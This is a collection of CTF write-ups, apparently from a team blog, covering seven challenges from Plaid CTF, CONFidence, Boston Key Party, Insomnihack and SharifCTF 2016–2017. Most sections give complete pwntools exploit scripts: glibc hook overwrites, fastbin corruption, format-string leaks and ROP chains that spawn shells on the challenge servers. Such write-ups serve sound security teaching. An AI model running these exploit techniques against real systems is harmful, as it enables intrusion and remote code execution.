Plaid CTF 2017: Pykemon Writeup

Solved by HRJ

The challenge was great, it had two ways of solving it. We were given website in which we can catch a Pokemon,  rename a Pokemon, see all our Pokemon and buy Pokeball’s. These were the functionalities.

pctf

We were also given the source code of the website which was written using the flask (Link).  There were many Pokemon including FLAG was a Pokemon we can understand that by seeing the write-up. The flag was stored in the description of Pokemon ‘FLAG’.

The first way of solving the challenge, by decoding the flask session cookie. We will first base64 decode the cookie and then zlib decompress it.

import zlib
from itsdangerous import base64_decode

cookie ="<session cookie>"

cookie = cookie[1:]
cookie = zlib.decompress(base64_decode(cookie.split(".")[0]))
print cookie

By seeing the source code we can get the HP of the FLAG. The above script will return the description of all the Pokemon. We know the ‘pid’ of the FLAG IS ‘FLAG90’. We will grep the pid and find the flag.

pctf

Next way is exploiting the format function in python (Link).

I didn’t have any idea regarding this vulnerability, it was great learning for me. We can control the input which is passed while renaming a Pokemon and the input is directly passed to the format function without any validation. Whoever controls the format string can access potentially internal attributes of objects.

>>> ‘class of {0} is {0.__class__}’.format(42)
“class of 42 is <class ‘int’>”

By accessing the list pykemon in Pykemon class you can get the flag, for that you have to pass the name as : {0.__class__.pykemon}

flag

Plaid CTF 2017 Bigpicture Write up

Solved by 4rbit3r

It took me a while to get the final exploit working for this challenge, but it was fun  pwning this binary.

We’re given the executable, the libc (more CTF’s should do this. Saves a lot of time spent on unnecessary version hunting) and the source code too! Well, so no need to spend time on reversing.

Almost every protection has been enabled on the binary.

$ checksec bigpicture

Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

The plus side is that the source code is small and really simple to understand.

The binary asks us for two integers to be passed as input to calloc. It then stores the pointer returned by calloc in a global variable called buf. It then goes into a loop which breaks if we give “quit” as input. Inside the loop the binary asks for three inputs, two co-ordinates and a character. It then goes onto to call a function plot with these three inputs as arguments. Plot checks if the co-ordinates are greater than the specified height and width. If not, it calls another function get with the co-ordinates as argument. This get basically returns a pointer to the character at the co-ordinates specified. The plot function then checks if the byte at the pointer returned is 0. If not, it prints out the character that exists at the address. If 0, the character we gave as input is written at the address. There’s also a function draw but I didn’t find it useful in any way.

So, now that we’ve covered what the binary does, we can start pwning this.

The vuln in the binary is that plot only checks the upper bound of the co-ordinates. So we could give negative integers as co-ordinates which is an out of bounds access.

Now in order to actually do anything useful with this vuln, we need to be able to access either the libc or the bss segment. We can’t access the bss since PIE is enabled.

So the option left is the libc. Now what we can do is to force calloc to return a pointer which is in the libc’s bss. This can be done if the arguments passed to calloc is large enough.

A call to calloc() with arguments 20,20 returns a pointer to the heap.

Screenshot from 2017-04-24 11-25-40

A call to calloc() with arguments 1056,1056 however returns a pointer to the libc’s bss.

Screenshot from 2017-04-24 11-29-24

So once we’ve got that allocated, we can exploit the vulnerability to mess up something in the libc that lies at a lower address than our pointer, namely the glibc hooks.

So what I did was to find the offset to __realloc_hook and leak out its contents. Once I had gotten that done, I could then move on to overwrite the __free_hook with the one-shot-RCE gadget which will be invoked once free is called (which happens right after we enter “quit”). Easy enough. But there was a difference in the offsets to __realloc_hook when I tried my exploit remotely. So I kept leaking bytes from some random offsets. What I found was that the bytes being leaked out never changed. So either PPP forgot to turn on ASLR or I’m leaking out some constants. Of course it’s the latter.

I searched the process memory for the sequence of bytes that I had leaked out and found out that they were from the text section of the libc. From that, I could calculate the correct offset to the hooks. The only way I could verify my offset was to leak out a pointer and calculate libc’s base address and check if it was page aligned.

After all that, there was still another problem, the constraints for the one-shot-RCE gadget weren’t met. So I spent quite some time on trying to find some way to pivot the stack and do a ROP.

That was a failed attempt. What I noticed was that one of the one-shot-RCE gadgets would work if I could move the stack pointer 8 bytes towards a lower address. So I started to look for something to do that.

I found this call qword [rdi] gadget which would do the trick. All I needed to do was to fill the address of the one-shot-RCE gadget in first 8 bytes of the buffer and overwrite the address of the call_rdi gadget in the __free_hook. So while executing free, the __free_hook would be invoked which would then execute the call_rdi gadget which then executes the one-shot-RCE gadget.

And well, that finally worked and landed a shell.

Here’s the script

from pwn import *
import sys

offset = 0xf1500
remote_offset = 0x10e500
call_rdi = 0x0007d8b0

def leak_stuff(target):
        addr = 0
        for x in xrange(6):
                y = -1*(target-(5-x))
                p.sendlineafter(">","{} , {} , c".format(0,y))
                p.recvuntil("overwriting ")
                byte = p.recv(1)
                addr = (addr << 8) + ord(byte)
        return addr

def write_stuff(target,payload):
        for x in xrange(6):
                y = -1*(target-x)
                byte = (payload >> (8*x)) & 0xff
                p.sendlineafter(">","{} , {} , {}".format(0,y,chr(byte))

if __name__ == "__main__":
        if sys.argv[1] == "local":
                p = process("./bigpicture")
        elif sys.argv[1] == "remote":
                p = remote("bigpicture.chal.pwning.xxx",420)
                offset = remote_offset

        p.sendlineafter("? ","1056 x 1056")
        free_offset = offset - 0x1c98
        libc = leak_stuff(offset+8) - 0x84e50
        log.success("Leaked libc @ {}".format(hex(libc)))
        one_gadget = libc + 0xf0567
        call_rdi += libc
        write_stuff(free_offset,call_rdi)
        write_stuff(0,one_gadget)
        p.sendline("quit")
        p.recvline()
        p.sendline("cat /home/bigpicture/flag")
        log.success(p.recvline())

 

Screenshot from 2017-04-24 12-43-41

CONFidence CTF teaser 2017 Starblind Write up

Solved by 4rbit3r and HRJ.

I’ll have to admit, it was surprising to get a link to a website for a reverse engineering challenge. It was HRJ who found out that the website was running an encoding functionality using Javascript to encode our input. The input we give is supposed to be 27 characters long. These 27 characters are then inserted into an array and then the array is filled with some junk to extend it to a size of 64.

There are two major functions that perform the encoding ie xor and perm. The first one is pretty self explanatory. The second one takes a 512 size array as argument and does a lot of operations with our input.

These two functions are called alternatively with each function being called 256 times. So that means a total of 512 operations on our input after which the result is a 64 size array. This array is then converted to a hexadecimal string and then compared with a constant string. If they’re equal, you’ve got the flag.

The arguments passed to the xor and perm functions are given in the code itself. So all that we need to do is to create a function to reverse the effects of the perm function. After that, we can call the undo_perm and xor functions with the same arguments that are passed in the code with the only difference being that we call these functions in the reverse order.

So basically, if they’re calling

  • xor(a)
  • perm(b)
  • xor(c)
  • perm(d)

What we do is a

  • undo_perm(d)
  • xor(c)
  • undo_perm(b)
  • xor(a)

Now let’s dig deeper into the perm function.

let perm = function(imm) {
let n = new Uint8Array(64);
for (let i = 0; i < 512; i++) {
const dst_bit = i % 8;
const dst_byte = i / 8 | 0;
const sign = Math.sgn(imm[i]);
const idx = sign ? -imm[i] : imm[i];
const src_bit = idx % 8;
const src_byte = idx / 8 | 0;
let b = (r[src_byte] >> src_bit) & 1;
if (sign) {
b ^= 1;
}
n[dst_byte] |= b << dst_bit;
}
r = n;
}

The argument passed to perm is the 512 size array of constants and r is the input that we give. We can see that all of the operations that the perm function does on our input is directly related to the value of the loop counter and the array passed as argument. What the function basically does is moving individual bits from the input array to the resultant array.

If we were to assume the input and resultant arrays as 2D arrays with each Aij representing the j’th bit of the i’th character, the whole function can be simplified into one single line equation :

n[dst_byte][dst_bit] = r[src_byte][src_bit]

The variables dst_byte and dst_bit are directly dependent on the value of the loop counter. src_byte and src_bit are dependent on the value of imm[i] where imm is the constant array passed as input and i is the loop counter. So all we need to do here is to reverse this one equation.

I first converted the whole perm and xor functions into Python and then wrote the function for undo_perm. The annoying part was the next. I had to write 512 function calls. So I resorted to downloading the index.html and writing a parser function to get the array.

Now all that was left for me was to kick off my script with the expected string and wait for the flag to magically show up. Didn’t happen.

I spent a lot of time trying to find out what was wrong with the code. But it turned out that the problem was probably because I had chosen to write the script in Python and not Javascript.

HRJ then showed me a way to debug the original Javascript code so that I get a clear picture of what’s going on. That is when I noticed that the array of 512 constants that was passed to perm contained ‘-0’ in some places.

There is this one line of code in the perm function which checks if the imm[i] is negative or not. If negative, the bit @ r[src_byte][src_bit] is xor’ed with 1. In the original code, -0 is treated as negative.

My parser was converting the characters into corresponding integers. So effectively, ‘-0’ was converted to 0. And so the part where I check whether the number is negative or not returns False in my function and True in their code.

So all that was required was a quick tweak. Every time imm[i] was 0, check the original character array to check if the character is ‘-0’ or not. If the original character is indeed ‘-0’, then xor the bit with 1.

And well, needless to say, that was it. Just running the script gave us the flag.

In hindsight, I might have solved this challenge way sooner had I used Javascript instead of Python.

Anyway, here’s the script in Python

correct = "983bb35ed0a800fcc85d12806df9225364713be578ba67f65bc508b77f0c54878eda18a5eed50bac705bdc7db205623221e8ffe330483955a22216960754a122".decode('hex')

def xor(a,b):
        c = [0 for x in xrange(64)]
        for x in xrange(64):
                c[x] = (a[x] ^ b[x]) % 256
        return c

def reverse_perm(b,c,temp):
        a = [0 for x in xrange(64)]
        for x in xrange(512):
                src_bit = abs(b[x])%8
                src_byte = abs(b[x])/8
                dst_bit = x%8
                dst_byte = x/8
                flag = (c[dst_byte] >> dst_bit) & 1
                if b[x]<0:
                        flag ^= 1
                if b[x]==0 and "-0" in temp[x]:
                        flag ^=1
                a[src_byte] += (flag *(2**src_bit))
        return a

def parse_file():
        f = open("reverse","r")
        c = [ord(x) for x in correct]
        for x in xrange(512):
                line = f.readline()
                func = line[4:line.find("(")]
                rest = line[line.find("[")+1:line.find("]")].split(", ")
                temp = rest
                rest = [int(x) for x in rest]
                if func == "perm":
                        c = reverse_perm(rest,c,temp)
                elif func == "xor":
                        c = xor(c,rest)
                else:
                        print "Strange"
        return c
if __name__ == "__main__":
        d = parse_file()[:27]
        print ''.join(chr(x) for x in d)

And well, running that gave the flag.

$ python solve.py
DrgnS{Humank1ndEmpire0fAbh}
$

Boston Key Party 2017 Memo Write up

Solved by 4rbit3r

Heap based challenges are my favourite. This was the first challenge that I had attempted and it was eventually the only one that I could solve. But was pretty interesting though.

As usual, the first step is to find out what all protections are enabled on the binary. Doing a checksec gives us the following information.

$ checksec memo

Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Okay, so just RELRO and NX. Nothing too bad.

Now let’s take a look at what the binary is doing.

  1. Firstly, it asks us to enter a username. After that, we can choose whether or not to enter a password.
  2. We can choose to create messages. Here it asks us for an index.
    1. First it checks if there is a value at the index we specified in a table which is meant to store the addresses of all chunks we create. This index has to be between 0 and 4. It stores this index in a global variable. Next, it asks for a size.
    2. If input_size < 32, allocate a chunk whose size is input_size and store the pointer in the table. Read input_size number of bytes into this chunk. Move the input_size into a table which stores the size values of all chunks.
    3. If input_size > 32, allocate a chunk of size 32, and read input_size number of bytes into this chunk (Overflow). Note that these chunks aren’t placed in the table.
  3. Edit the contents of one of the chunks that are in the table. Here the value of index is taken from the global variable.
  4. View the content of a chunk whose index in the table can be specified by the user.
  5. Remove a table entry. This free’s the chunk at index that is specified by the user and also updates the global variable.
  6. Change password. Here there lies an off by one overflow through which we can change the size of the first entry in the table and set it to a maximum of 255.

But the vulnerability I used was a bit different. We did see that, if we request a size of something greater than 32, there will be a buffer overflow. We can use this to our advantage to corrupt some fastbins. So the idea that I followed was to allocate 3 chunks. The chunks returned will be adjacent to each other. Now, remove the second and then the first. Now I could request a chunk of size > 32, and the last chunk I freed would be returned back to me. So essentially, I’d have a chunk where I could perform an overflow, followed by a chunk that lies in the fastbin. My idea was to overwrite the next pointer of this free chunk with something that I could overwrite.

The catch is that this next pointer should pass a sanity check that malloc does. Malloc checks if the size of the chunk at the top of the fastbin is really the same as that requested. If not, it throws a “corrupted fastbins” error. So I had to look for 0x31 somewhere in the binary.

Here, we could use our password buffer to store the value 0x31. So we could use the (address of that 0x31) + 8 as our next pointer of the free chunk.

After corrupting the next pointer of this free chunk, we need to call malloc twice to get a pointer to our fake chunk returned to us. The point to be noted is that the second call to malloc should be of a large enough size of overwrite the values of the table that contains the addresses of chunks. Once that is done, we can overwrite the values of the table with some address we like. I noticed that a stack address was getting copied into the table address + 40.

So in order to leak the stack address, I changed the first value of the table to table+40. Now choosing the view option would leak out the stack address to us.

Phew !

Now, we could use these same steps to modify the table again. I used this a second time to leak out the libc address of free by overwriting the first value in the table with the GOT address of free.

Using the same fastbin corruption method, we can now overwrite the next pointer of the free chunk to return a pointer to the stack.

Finally, once that’s all done, all that’s left is plain and simple ROP. And who doesn’t love ROP ?

It took some time, but not as much as I thought it would for this challenge. Anyway, pretty nice challenges. Good job admins.

Here’s the script

from pwn import *
import sys

heap_size = 0x602a38
pop_rdi_ret = 0x401263
pop_rsi_r15_ret = 0x401261
got_free = 0x601f78


def leave_msg(idx,size,payload):
	p.sendlineafter(">> ","1")
	p.sendlineafter(": ",str(idx))
	p.sendlineafter(": ",str(size))
	if size > 32:
		p.recvline()
		p.send(payload)
	else:
		p.sendafter(": ",payload)

def edit_msg(payload):
	p.sendlineafter(">> ","2")
	p.sendlineafter(": ",payload)

def view(idx):
	p.sendlineafter(">> ","3")
	p.sendlineafter(": ",str(idx))
	p.recvuntil(": ")
	msg = u64(p.recvline().strip().ljust(8,"\x00"))
	return msg

def remove(idx):
	p.sendlineafter(">> ","4")
	p.sendlineafter(": ",str(idx))

def new_creds(old_pass,new_uname,new_pass):
	p.sendlineafter(">> ","5")
	p.sendlineafter(": ",old_pass)
	p.sendlineafter(": ",new_uname)
	p.sendlineafter(": ",new_pass)

if sys.argv[1] == "local":
	p = process("./memo")
elif sys.argv[1] == "remote":
	p = remote("54.202.7.144",8888)
p.sendlineafter(": ","asdf")
p.sendlineafter(") ","y")
p.sendlineafter(": ",p64(0x31))
for x in range(3):
	leave_msg(x,32,"\n")
remove(1)
remove(0)
payload = fit({40:p64(0x31)+p64(heap_size)},length=60)
leave_msg(0,60,payload+"\n")
leave_msg(3,32,"\n")
payload = fit({40:p64(0x602a98)},length=48)
leave_msg(0,48,payload)
stack = view(0)
log.success("Leaked stack address @ {}".format(hex(stack)))
remove(2)
remove(3)
payload = fit({24:p64(0xff),40:p64(0x31)+p64(heap_size)},length=60)
leave_msg(3,60,payload)
leave_msg(1,60,"\n")
payload = fit({24:p64(0xff00000000),40:p64(got_free)+p64(stack)},length=56)
leave_msg(1,57,payload+"\n")
free = view(0)
system = free - 255728
binsh = free + 1084187
payload = fit({24:p64(pop_rdi_ret)+p64(binsh)+p64(pop_rsi_r15_ret)+p64(0)+p64(0)+p64(system)})
edit_msg(payload)
p.interactive()

Insomnihack Teaser 2017 Bender_safe Writeup

Solved by 4rbit3r

This was the first of a 3 part challenge that contained flags for each part.

The first part is a  reversing challenge. The given files are a MIPS-32 bit executable and an emulator for the same. I had to refresh a what was left from my memory on MIPS architecture. And then a lot of googling also took place. But in the end, it was a challenge that I enjoyed doing.

Going through the code of main function, we see that there are a lot of functions being called. Of those, a few functions are of importance to us. Namely:

  1. doshuffle.
  2. validate.
  3. get_first_flag.

Obviously, we need to get to the get_first_flag function. So now let’s try and figure out what the binary actually does.

It calls opens /dev/urandom and reads 8 bytes from it and stores it in a buffer. This buffer is then used by the doshuffle function to create a string of lenth 16. I spent a lot of time trying to figure out what the doshuffle function did (and eventually developed a pseudo-code). I had thought that we needed to figure out the value of the 8 byte random value from the string being printed out to us. I was too lazy to actually reverse the functionality of the doshuffle function. So instead I patched the binary. I changed the string ‘/dev/urandom’ to a file that I created and filled with 8 ‘A’s. So now, the random value read in and the string generated by the doshuffle function will be constant. And then, trying the input of 8 “A”‘s, we find that it’s not what we need to pass the validate function.

So after that, I moved on to the validate function. In spite of being a very large function, what it does is very simple. It multiplies a lot of constants around and finally stores a value at a particular location. Since none of our input comes into the equation, we can say that those values will be constant in every execution. So, then the validate function boils down to a simple comparison between the user input and the string printed out.

Using a debugger, we can easily set breakpoints at those locations, and identify the constraints on our input with respect to the string being printed out. Once, we’ve finished that, we can easily write a script that creates a string that can pass all the checks of the validate function.

And well, here’s the script:

from pwn import *

mychars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
HOST,PORT = 'bender_safe.teaser.insomnihack.ch',31337

def findstr(chall):
	final_str=''
	final_str+=chall[0]
	final_str+=chall[15]
	if chall[7] >= 'A':
		a=ord(chall[7])^ord('K')^0x61^10
		final_str+=str(chr(a))
	elif chall[7] < 'A':
a=ord(chall[7])^(0xffffffa6)^(0xffffff99)^(0x7f)
final_str+=str(chr(a))
if chall[3] >= 'A':
		a=mychars.index(chall[3])+10
		final_str+=mychars[a]
	elif chall[3] < 'A':
a=mychars.index(chall[3])-10
final_str+=mychars[a]
if chall[4] >= 'A':
		final_str+=mychars[mychars.index(chall[4])+10]
	elif chall[4] < 'A':
final_str+=mychars[mychars.index(chall[4])-10]

val = abs(ord(chall[1])-ord(chall[2]))
final_str+=mychars[val%(len(mychars)-1)]
val = abs(ord(chall[5])-ord(chall[6]))
final_str+=mychars[val%(len(mychars)-1)]
if chall[8]>='A':
		val = ord(chall[8])^0x4b^0x61^0xa
		final_str+=str(chr(val))
	elif chall[8]<'A':
		val=ord(chall[8])^0xffffffa6^0xffffff99&0x7f
		final_str+=str(chr(val))
	return final_str

p=remote(HOST,PORT)
p.recvuntil(':')
p.recvline()
msg = p.recvline().strip()
retval = findstr(msg)
p.sendline(retval)
print p.recvall(timeout=1)

And well, running that gave the flag
Here it is : INS{Angr_is_great!_Oh_angr_is_great!_Angr_angr_angr}

Insomnihack teaser 2017 Baby Writeup

Solved by 4rbit3r

The first CTF of 2017 and it didn’t disappoint. It took me a while to get the exploit working but it was fun.

As usual, lets see what protections are enabled on the binary.

$ checksec baby

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Well, isn’t that something ! No worries, there have been challenges with even worse conditions.

Looking through the code of the binary, we see that the binary first starts a server and then forks off a child to handle a client. Now looking at the handle function, we see that it is a menu driven program that offers three functionalities. Namely

  1. Stack overflow
  2. Format string
  3. Heap overflow

And then a fourth option which simply exits.

As the names suggest, each function has the respective vulnerability. So, my first idea was to leak out some pointers using the format string vulnerability. This memory leak can then be leveraged to gain control over execution through the stack overflow.

So, the steps should be:

  1. Choose format string vuln.
  2. Leak address of text segment.
  3. Leak address of libc.
  4. Choose stack overflow vuln.
  5. ROP.

But there was some difference in the values on the stack when I ran the binary locally and that of the remote server.

But there are some values on the stack that we can bet on. The return addresses of the functions dostack and handle are values of the text segment. So by leaking those, we get the base address of the text segment. Now for libc, the return address of main can be used.

After leaking, all that’s left is to craft a nice ROP payload and pwn this binary.

But wait, it’s not over.

The shell I got at the beginning was at the parent process end, whereas we were interacting with the socket. So, before calling system(‘/bin/sh’), we should insert two calls to dup2().

from pwn import *

g1 = 0x1c8b				#pop rdi;ret;
g2 = 0x1c89				#pop rsi;pop r15;ret;

def leak_first():
	p.sendlineafter("> ",'2')
	p.sendlineafter("> ",'%llx-'*158)
	val = p.recvline().strip().split('-')
	p.sendline('')
	libc,text,canary = int(val[-2],16),int(val[139],16),int(val[137],16)
	return libc-0x20830,text-0x19cf,canary

def bof_stack():
	p.sendlineafter("> ","1")
	payload = fit({1032:p64(canary),1048:p64(g2)+p64(0),1072:p64(g1)+p64(fd)+p64(dup2)})
	payload+= p64(g2)+p64(1)+p64(0)+p64(g1)+p64(fd)+p64(dup2)
	payload+= p64(g2)+p64(0)+p64(0)+p64(g1)+p64(binsh)+p64(system)
	p.sendlineafter("?",str(len(payload)+1))
	p.sendline(payload)
	log.info(p.recvline())
	p.interactive()

if __name__ == "__main__":
	fd=4
	p = remote("baby.teaser.insomnihack.ch",1337)
	libc,text,canary=leak_first()
	elf = ELF("libc.so")
	elf.address = libc
	binsh = elf.search("/bin/sh").next()
	system = elf.symbols['system']
	dup2 = elf.symbols['dup2']
	g1+= text
	g2+= text
	bof_stack()

And well that gave the flag.
Here it is : INS{if_you_haven’t_solve_it_with_the_heap_overflow_you’re_a_baby!}

SharifCTF’16 Hippotie Write Up

Solved by 4rbi3r

It had been some time since I played a good CTF. I didn’t really have a lot of time to work on all challenges, but this challenge was a pretty good refreshment.

Running checksec on the binary gives us the following information:

$ checksec

Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE

Alright, so no protections other than NX. Great ! Let’s see what this binary is doing.

The binary is a menu driven program that has 5 functionalities Register, Sign in, Pack, Validate, Send and Exit. The binary maintains a structure which kind of looks like this:

struct obj {
obj *next;
char *name;
char *password;
}

A couple of these functionalities have interesting pieces of code in them.

  1. Register :
    1. Reads two strings (name and password) and XOR’s each byte of both strings with the next byte of the same string.
    2. Calls a function with the XOR’d values of name and password strings as arguments.
    3. This function (I’m calling it make) first calls another function that basically checks whether or not the table contains an entry of the same hash value( I’m calling it find_in_table).
    4. If yes, then it proceeds to re-write the password pointer with a new pointer that points to the buffer passed as argument.
    5. If no, it creates an object of required size on the heap, and places pointers to name and password inside the object.
    6. In the end, it copies the value at the table offset into its next pointer and then sets the value at the table offset to itself (Essentially creating a linked list of objects which have the same hash. New elements get added at the beginning).
  2. Sign in :
    1. This function reads in the strings name and password from the user and calls the function find_in_table with the string name read from the user as argument.
    2. If this function returns a valid object, the binary goes on to check whether or not the password entered by the user is the same as the one saved in the object.
    3. If the user input passes both these checks, then a global variable (username) is initialized to the name that we entered and another global variable (logged_in) is set to 1 ( I’m guessing that this is used to denote whether or not someone has signed in ).
    4. What we need to see is that our input is directly being compared to the strings stored in the object which are the results of an XOR operation on each of the strings.
  3. Pack :
    1. This function checks if the value of the global variable logged_in is 1 or not. It proceeds to the pack function only if the above comparison returns true.
    2. In the pack function, the binary goes on to read another string from the user.
    3. It then fetches the object corresponding to the name which is stored in the global variable username.
    4. It then overwrites the password of that object with the string that it just read in from the user.
  4. Validate :
    1. This function again requires that at least 1 user be logged in. It continues only if the comparison of logged_in with 1 returns true.
    2. It then goes on to get a pointer to the object corresponding to the value of the global variable username.
    3. It then copies 0x400 bytes of the password into a stack buffer of size 0x200 (BOOM, overflow).
  5. Send :
    1. All this function does is to call puts with a default string. But we’ll use this later on.

So we know that there’s an overflow, no other protections other than NX. So let’s start with our idea of exploit.

  • Register a user with some small name and password.
  • Sign in with the xor’d values of the same name and password.
  • Use the pack functionality to overwrite the password with a payload.
  • Call validate function to cause stack overflow and get control of RIP.

Now there weren’t enough gadgets to perform a execve(‘/bin/sh’) through system calls. So I resorted to leaking memory addresses. There is a pop rdi gadget which we can use to fill the register RDI with a got table address ( I used the got address of atoi). Now we need to find a function in the binary that calls puts but does not contain a leave instruction at the end. After this I decided to return to the main function to create a second payload.

So using this first payload, we can leak the libc address of atoi and from that we can calculate the address of system and ‘/bin/sh’. Now we can use the pack functionality to change the password again to another payload. This payload is a simple one that use the pop rdi gadget to fill the RDI register with a pointer to ‘/bin/sh’ and then calls system.

And well, that worked. Sad that I couldn’t get it ready during the CTF though. But pretty nice challenge, good job admins !

Here’s the script.

 

from pwn import *

def register(name,password):
	p.sendlineafter("> ","1")
	p.sendlineafter(": ",name)
	p.sendlineafter(": ",password)

def login(name,password):
	p.sendlineafter("> ","2")
	p.sendlineafter(": ",name)
	p.sendlineafter(": ",password)

def pack(payload):
	p.sendlineafter("> ","3")
	p.sendlineafter("?",payload)

def validate():
	p.sendlineafter("> ","4")
	p.recvline()

if __name__ == "__main__":
	g1 = 0x00401483					
	atoi = 0x602818
	leak = 0x40135E
	main = 0x401365

	p = process("hippotie")
	libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

	register("ABBC","ABBC")
	login(chr(0x3),chr(0x3))
	payload = fit({0x218:p64(g1)+p64(atoi)+p64(leak)+"A"*8+p64(main)},length=0x300)
	pack(payload)
	validate()
	libc.address = u64(p.recvline().strip().ljust(8,"\x00")) - libc.symbols['atoi']
	system = libc.symbols['system']
	binsh = libc.search("/bin/sh").next()
	p.sendlineafter(">","3")
	payload = fit({0:chr(0),0x218:p64(g1)+p64(binsh)+p64(system)},length=0x300)
	p.sendlineafter("?",payload)
	p.sendlineafter(">","4")
	p.recvline()
	p.interactive()